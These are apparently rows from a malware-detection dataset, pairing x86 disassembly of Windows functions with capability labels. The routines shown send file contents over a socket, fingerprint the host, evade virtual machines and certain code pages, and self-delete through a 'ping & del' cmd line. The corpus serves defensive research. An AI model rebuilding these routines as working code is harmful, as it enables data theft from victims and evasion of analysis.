joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b17
Capabilities:
Connect socket
Print debug messages

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [0x41e340]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x18]
push ebx
push dword [esi + 0x14]
lea eax, [esi + 0x41a]
push eax
call fcn.00401dc7
test eax, eax
je 0x401be0
cmp dword [esi + 4], 0xffffffff
je 0x401b5a
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
xor edi, edi
push edi
inc eax
push eax
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x401be0
push 2
pop eax
mov word [esp + 0xc], ax
movzx eax, word [ebx]
push eax
call dword [sym.imp.WS2_32.dll_htons]
push dword [esi + 0x14]
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x10], eax
mov eax, dword [0x41f14c]
push 1
test eax, eax
pop ebx
cmovle eax, ebx
mov dword [0x41f14c], eax
test eax, eax
jle 0x401bd5
push 0x10
lea eax, [esp + 0x10]
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x401bf4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, dword [0x41f14c]
jl 0x401bad
push str.Create_Data_Socket_Failed__r_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor al, al
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004042fc
mov esp, ebp
pop ebp
ret
mov al, bl
jmp 0x401be2

Function at 0x401bf8
Capabilities:
Print debug messages
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41e340]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
mov esi, ecx
call fcn.00409f10
add esp, 0xc
mov ecx, ebx
call fcn.00404044
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x20c]
call fcn.004040d2
cmp byte [esi + 0x820], 0
mov edi, eax
je 0x401c77
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c59
push 0
sub ecx, edx
push ecx
push edi
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x401c96
xor al, al
jmp 0x401ca6
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esi + 0x820], 0
je 0x401c96
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c8d
jmp 0x401c60
push ebx
mov byte [esi + 0x820], 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004042fc
leave
ret 4
Function at 0x401cb7
Capabilities:
Print debug messages
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
mov ebx, 0x400
push ebx
lea edi, [esi + 0x1a]
push 0
push edi
call fcn.00409f10
add esp, 0xc
push 0
push ebx
push edi
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x401cef
mov byte [esi + 0x820], 1
xor al, al
jmp 0x401d1d
cmp dword [ebp + 8], 0
je 0x401d0d
push dword [ebp + 8]
push edi
call fcn.00404c90
pop ecx
pop ecx
test eax, eax
jne 0x401d0d
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x401ce4
push edi
mov byte [esi + 0x820], 1
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x401d24
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
xor eax, eax
jmp 0x401d4c
push 0
push esi
add edi, eax
push edi
push dword [ebx + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x401d59
sub esi, eax
test esi, esi
jg 0x401d36
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
xor al, al
jmp 0x401d52
Function at 0x401f8c
Capabilities:
Print debug messages
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1138
call fcn.0040b5a0
mov eax, dword [0x41e340]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x1134], ecx
test esi, esi
je 0x402064
push 0x41b874
push esi
call fcn.00405559
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x402064
push 2
push 0
push edi
call fcn.00405cea
push edi
call fcn.00405b90
push 0
mov ebx, eax
push 0
push edi
mov dword [ebp - 0x1138], ebx
call fcn.00405cea
push edi
call fcn.00405dd5
add esp, 0x20
test ebx, ebx
jle 0x402064
xor ebx, ebx
push 0xfff
lea eax, [ebp - 0x112f]
push ebx
push eax
mov byte [ebp - 0x1130], bl
call fcn.00409f10
push 0x12b
lea eax, [ebp - 0x12f]
push ebx
push eax
mov byte [ebp - 0x130], bl
call fcn.00409f10
mov ebx, dword [ebp + 0xc]
add esp, 0x18
cmp ebx, dword [ebp - 0x1138]
jne 0x402077
push esi
push 0x41b828
lea eax, [ebp - 0x130]
push 0x12c
push eax
call fcn.00404c6b
add esp, 0x10
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004042fc
leave
ret 8
push 0x41b844
push esi
call fcn.00405559
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x402092
push esi
push 0x41b848
jmp 0x402043
test ebx, ebx
jle 0x40212c
cmp ebx, dword [ebp - 0x1138]
jge 0x40212c
push 0
push ebx
push edi
call fcn.00405cea
mov ebx, 0x1000
jmp 0x4020dd
push ecx
mov ecx, dword [ebp - 0x1134]
push eax
lea eax, [ebp - 0x1130]
push eax
call fcn.00401d24
test al, al
je 0x4020f9
push ebx
lea eax, [ebp - 0x1130]
push 0
push eax
call fcn.00409f10
push edi
push ebx
lea eax, [ebp - 0x1130]
push 1
push eax
call fcn.00405736
add esp, 0x1c
test eax, eax
jg 0x4020b6
jmp 0x402184
push esi
push 0x41b860
lea eax, [ebp - 0x130]
push 0x12c
push eax
call fcn.00404c6b
add esp, 0x10
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call fcn.00405dd5
pop ecx
jmp 0x402064
push edi
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1130]
push 1
push eax
call fcn.00405736
add esp, 0x10
jmp 0x402180
push ecx
mov ecx, dword [ebp - 0x1134]
push eax
lea eax, [ebp - 0x1130]
push eax
call fcn.00401d24
test al, al
je 0x4020f9
push ebx
lea eax, [ebp - 0x1130]
push 0
push eax
call fcn.00409f10
push edi
push ebx
lea eax, [ebp - 0x1130]
push 1
push eax
call fcn.00405736
add esp, 0x1c
test eax, eax
jg 0x402146
push edi
call fcn.00405dd5
pop ecx
mov ecx, dword [ebp - 0x1134]
call fcn.00402695
mov ecx, dword [ebp - 0x1134]
push 0x41b7d8
call fcn.00401cb7
test al, al
setne al
jmp 0x402066
Function at 0x4029af
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
lea ebx, [esi + 0xe8e]
lea eax, [esi + 0xe5c]
lea ecx, [esi + 0xe40]
push ebx
push eax
push dword [esi + 0xe58]
movzx eax, word [esi + 0xe54]
push eax
push ecx
mov ecx, dword [ebp + 8]
call fcn.004019cb
test al, al
jne 0x402a14
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea eax, [esi + 0xe5c]
lea ecx, [esi + 0xe40]
cmp edi, 0xa
jl 0x4029cb
push str.Create_Control_Socket_Failed__r_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor al, al
jmp 0x402a16
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x40333e
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2c98
call fcn.0040b5a0
mov eax, dword [0x41e340]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x2c98]
push eax
lea eax, [ebp - 0x2c94]
push eax
xor esi, esi
mov dword [ebp - 0x2c98], 0x2880
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
je 0x403381
xor eax, eax
jmp 0x4034d9
push ebx
push edi
mov ebx, 0x208
push ebx
lea eax, [ebp - 0x414]
push 0
push eax
lea edi, [ebp - 0x2c94]
call fcn.00409f10
push ebx
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00409f10
add esp, 0x18
mov ebx, 0x104
test esi, esi
jne 0x4033e3
movzx esi, byte [edi + 0x196]
movzx eax, byte [edi + 0x197]
shl esi, 8
add esi, eax
movzx eax, byte [edi + 0x198]
shl esi, 8
add esi, eax
movzx eax, byte [edi + 0x199]
shl esi, 8
add esi, eax
movzx eax, byte [edi + 0x199]
push eax
movzx eax, byte [edi + 0x198]
push eax
movzx eax, byte [edi + 0x197]
push eax
movzx eax, byte [edi + 0x196]
push eax
movzx eax, byte [edi + 0x195]
push eax
movzx eax, byte [edi + 0x194]
push eax
lea eax, [ebp - 0x20c]
push str._02X__02X__02X__02X__02X__02X
push eax
call fcn.004034e6
add esp, 0x20
mov ecx, str.00_00_00_00_00_00
lea eax, [ebp - 0x20c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x403458
test dx, dx
je 0x403454
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x403458
add eax, 4
add ecx, 4
test dx, dx
jne 0x403432
xor eax, eax
jmp 0x40345d
sbb eax, eax
or eax, 1
test eax, eax
je 0x40348a
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push ebx
push eax
call fcn.004067a9
push 0x41ba58
lea eax, [ebp - 0x414]
push ebx
push eax
call fcn.004067a9
add esp, 0x18
movzx eax, byte [edi + 0x199]
push eax
movzx eax, byte [edi + 0x198]
push eax
movzx eax, byte [edi + 0x197]
push eax
movzx eax, byte [edi + 0x196]
push eax
movzx eax, byte [edi + 0x195]
push eax
movzx eax, byte [edi + 0x194]
push eax
push 0x41ba5c
call fcn.00406608
mov edi, dword [edi]
add esp, 0x1c
test edi, edi
jne 0x4033b4
pop edi
lea eax, [ebp - 0x414]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004042fc
leave
ret
Function at 0x4037d3
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
push 0x64
call fcn.00404b57
pop ecx
push 0x64
mov edi, eax
call fcn.00404b57
pop ecx
mov esi, eax
push 0x64
mov dword [ebp - 8], esi
call fcn.00404b57
pop ecx
push 0x64
mov ebx, eax
push 0
push edi
mov dword [ebp - 4], ebx
call fcn.00409f10
add esp, 0xc
push 0x64
push 0
push esi
call fcn.00409f10
add esp, 0xc
push 0x64
push 0
push ebx
call fcn.00409f10
add esp, 0xc
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
shr eax, 2
cmp eax, 1
jbe 0x4038d3
add edi, 4
lea ebx, [eax - 1]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
mov ecx, edi
mov byte [edi + 3], 0
call fcn.00404044
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x4038c9
push 0x64
push 0
push esi
call fcn.00409f10
add esp, 0xc
push 0x64
push 0
push dword [ebp - 4]
call fcn.00409f10
add esp, 0xc
mov ecx, str._c_tree__F
push edi
call fcn.0040408b
push eax
push str._s__s
push esi
call fcn.00404be9
movsx eax, byte [edi]
mov esi, dword [ebp - 4]
push eax
push str.tree__c.txt
push esi
call fcn.00404be9
add esp, 0x1c
mov ecx, esi
call fcn.00404044
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.00404044
mov edx, esi
mov ecx, eax
call fcn.00403502
mov esi, dword [ebp - 8]
add edi, 4
dec ebx
jne 0x403842
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4038d8
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c4
mov eax, dword [0x41e340]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x6c0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor eax, eax
lea edi, [ebp - 0x428]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov ebx, 0x104
push ebx
stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.00409f10
push ebx
lea eax, [ebp - 0x110]
push esi
push eax
call fcn.00409f10
add esp, 0x18
lea eax, [ebp - 0x218]
push ebx
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x403a56
mov eax, dword [eax + 0xc]
push 4
push dword [eax]
lea eax, [ebp - 0x6c4]
push eax
call fcn.00404310
add esp, 0xc
push dword [ebp - 0x6c4]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x41b9f4
lea eax, [ebp - 0x428]
push 0x10
push eax
call fcn.00404c6b
push ebx
lea eax, [ebp - 0x320]
push esi
push eax
call fcn.00409f10
push ebx
lea eax, [ebp - 0x530]
push esi
push eax
call fcn.00409f10
add esp, 0x28
lea eax, [ebp - 0x530]
push eax
lea eax, [ebp - 0x320]
push eax
call fcn.0040327a
lea ecx, [ebp - 0x320]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4039c6
sub ecx, edx
je 0x4039e4
push 0x41
pop ecx
lea esi, [ebp - 0x320]
lea edi, [ebp - 0x110]
rep movsd dword es:[edi], dword [esi]
jmp 0x4039fd
call fcn.0040333e
mov ecx, eax
call fcn.0040408b
mov esi, eax
lea edi, [ebp - 0x110]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x110]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403a04
mov ax, word [0x41bc0c]
lea edx, [ebp - 0x218]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403a1d
lea edi, [ebp - 0x110]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403a2d
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push ebx
call fcn.00404b57
pop ecx
lea eax, [ebp - 0x110]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004042fc
leave
ret

Function at 0x403b02
Capabilities:
Terminate process

Disassembly:
call fcn.00403f7a
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403b1b
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
mov eax, dword [0x41e340]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x163]
push ebx
push eax
mov byte [ebp - 0x164], bl
call fcn.00409f10
push 0x36
lea eax, [ebp - 0x3c]
push ebx
push eax
mov dword [ebp - 0x60], 0x44524148
mov dword [ebp - 0x5c], 0x45524157
mov dword [ebp - 0x58], 0x45445c5c
mov dword [ebp - 0x54], 0x49524353
mov dword [ebp - 0x50], 0x4f495450
mov dword [ebp - 0x4c], 0x535c5c4e
mov dword [ebp - 0x48], 0x65747379
mov dword [ebp - 0x44], 0x425c5c6d
mov dword [ebp - 0x40], 0x534f49
call fcn.00409f10
add esp, 0x18
lea eax, [ebp - 0x168]
push eax
push 0x101
push ebx
lea eax, [ebp - 0x60]
push eax
push connect
mov dword [ebp - 0x170], 0x104
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x16c], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403bf8
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x16c]
push eax
push ebx
push str.SystemProductName
push dword [ebp - 0x168]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x168]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x164]
pop ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403c0e
sub ecx, edx
cmp ecx, 1
jb 0x403c3f
lea eax, [ebp - 0x164]
push str.irtual
push eax
call fcn.00404c90
pop ecx
pop ecx
test eax, eax
jne 0x403c3f
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004042fc
leave
ret
call fcn.00403b02
int3

Function at 0x403c45
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x41e340]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00403b1b
call dword [sym.imp.KERNEL32.dll_GetACP]
cmp eax, 0x3a8
je 0x403c6e
cmp eax, 0x3b6
jne 0x403cb6
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x403cb6
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
shrd eax, ecx, 0xa
cdq
shr ecx, 0xa
mov ecx, 0x3ff
and edx, ecx
add eax, edx
sar eax, 0xa
cdq
and edx, ecx
add eax, edx
sar eax, 0xa
cmp eax, 4
jle 0x403cb6
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004042fc
leave
ret
call fcn.00403b02
int3
Function at 0x403f7a
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x41e340]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 0x207
lea eax, [ebp - 0x30f]
push ebx
push eax
mov byte [ebp - 0x310], bl
call fcn.00409f10
push 0x103
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.00409f10
add esp, 0x18
lea eax, [ebp - 0x108]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push str._c_ping_0.0.0.0__n_5__del___s_
push eax
call fcn.00404be9
push 0x3c
lea eax, [ebp - 0x34c]
push ebx
push eax
call fcn.00409f10
lea eax, [ebp - 0x310]
add esp, 0x18
mov dword [ebp - 0x338], eax
lea eax, [ebp - 0x34c]
push eax
mov dword [ebp - 0x34c], 0x3c
mov dword [ebp - 0x348], 0x600
mov dword [ebp - 0x33c], str._SystemRoot_System32cmd.exe
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004042fc
leave
ret

Function at 0x404121
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40413f
push str.Filename_wrong
call fcn.004053e9
pop ecx
xor eax, eax
inc eax
pop esi
ret
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop esi
mov eax, ecx
ret
Function at 0x40f8de
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41e340]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0040beea
mov dword [ebp - 0x14], eax
cmp dword [0x41ff04], edi
jne 0x40f9cf
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40f95c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40faaf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40faaf
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40faaf
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x41ff04], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x41ff08], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x41ff0c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41ff14], eax
test eax, eax
je 0x40f9cc
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41ff10], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40f9f4
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40f9e7
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40fa09
push 4
pop eax
jmp 0x40fab1
cmp dword [ebp - 0x14], edi
je 0x40fa09
push dword [0x41ff04]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40f9ee
mov eax, dword [0x41ff10]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40fa67
cmp dword [0x41ff14], esi
je 0x40fa67
push eax
call ebx
push dword [0x41ff14]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40fa67
test eax, eax
je 0x40fa67
call ecx
test eax, eax
je 0x40fa5c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40fa5c
test byte [ebp - 8], 1
jne 0x40fa67
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40fa97
mov eax, dword [0x41ff08]
cmp eax, esi
je 0x40fa94
push eax
call ebx
test eax, eax
je 0x40fa94
call eax
mov edi, eax
test edi, edi
je 0x40fa94
mov eax, dword [0x41ff0c]
cmp eax, esi
je 0x40fa94
push eax
call ebx
test eax, eax
je 0x40fa94
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41ff04]
call ebx
test eax, eax
je 0x40faaf
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40fab1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004042fc
leave
ret
Function at 0x402d38
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x424008], 0x8088405
inc edx
mov dword [ebx + 0x424008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403414
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x424010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4034ac
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40348c
xor eax, eax
push ebp
push 0x403485
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4034c8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40348c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x424010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x424010], ax
mov esp, ebp
pop ebp
ret

Function at 0x403e14
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x427044], 0
je 0x403e75
cmp word [0x427218], 0xd7b2
jne 0x403e3d
cmp dword [0x427220], 0
jbe 0x403e3d
mov eax, 0x427214
call dword [0x427230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x424078
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403e9c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x424020], 0
jne 0x403e91
push 0
push 0x424098
push 0x424078
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403fc8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402544
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x427045], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403f90
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc